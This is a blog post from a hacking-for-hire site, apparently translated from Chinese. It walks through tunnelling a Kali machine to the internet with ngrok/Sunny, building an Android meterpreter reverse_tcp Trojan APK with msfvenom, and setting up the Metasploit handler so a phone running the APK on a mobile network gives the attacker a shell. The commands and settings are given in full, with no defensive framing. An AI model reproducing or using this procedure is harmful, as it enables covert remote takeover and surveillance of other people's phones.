Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863102545

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

Configure the external network environment

I am using http://www.ngrok.cc and other self-trial trials. This is free.QQ截图20190613163138.png

Fill in the remote port at will (anyway, whatever you fill in will prompt that the port has been used:)) Fill in your kali ip address on the local port, which is the address of the attack machine. The port is free and you don’t understand 4444!

After filling in, the effect is as followsQQ截图20190613161750.png

Then click Activate

Download Client

Download according to your kali version

Mine is 64 bit.QQ截图20190613161817.png

Run client

Let’s take a look at your clientid first

View in Tunnel Management —— Tunnel IP, as shown in the figureQQ截图20190613163651.png

After recording the id, run the following command

./sunny clientid Your id 88.png

View ip on external network

The IP address of the domain name we ping 99.png

Get the IP address 999.png

Produce an external network shell

msfvenom -p android/meterpreter/reverse_tcp LHOST=External network ip LPORT=External network port R 666.apk**ps:**External network ip is the IP address of the domain name pinged just now. External network port is the port you set when adding a tunnel.d.png

After generation, configure msf

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST Intranet ip

set LPORT Intranet port

exploit fills the pit: When generating Trojans, they use external network IP and ports. When configuring msf, we use the IP and port of the intranet (very important)

After completion, the phone connects to the 4G network and runs the Trojan. Successfully obtained shell shell.png

Check out the IP address of your phone ip1.png

809626_WN67BUDJUQSWXG5.jpg

[dplayer url='http://js.bbskali.cn/ji.flv' pic='http://xxx.com/xxx.jpg' autoplay='true' addition='https://api.prprpr.me/dplayer/v3/bilibili?aid=55868962'/]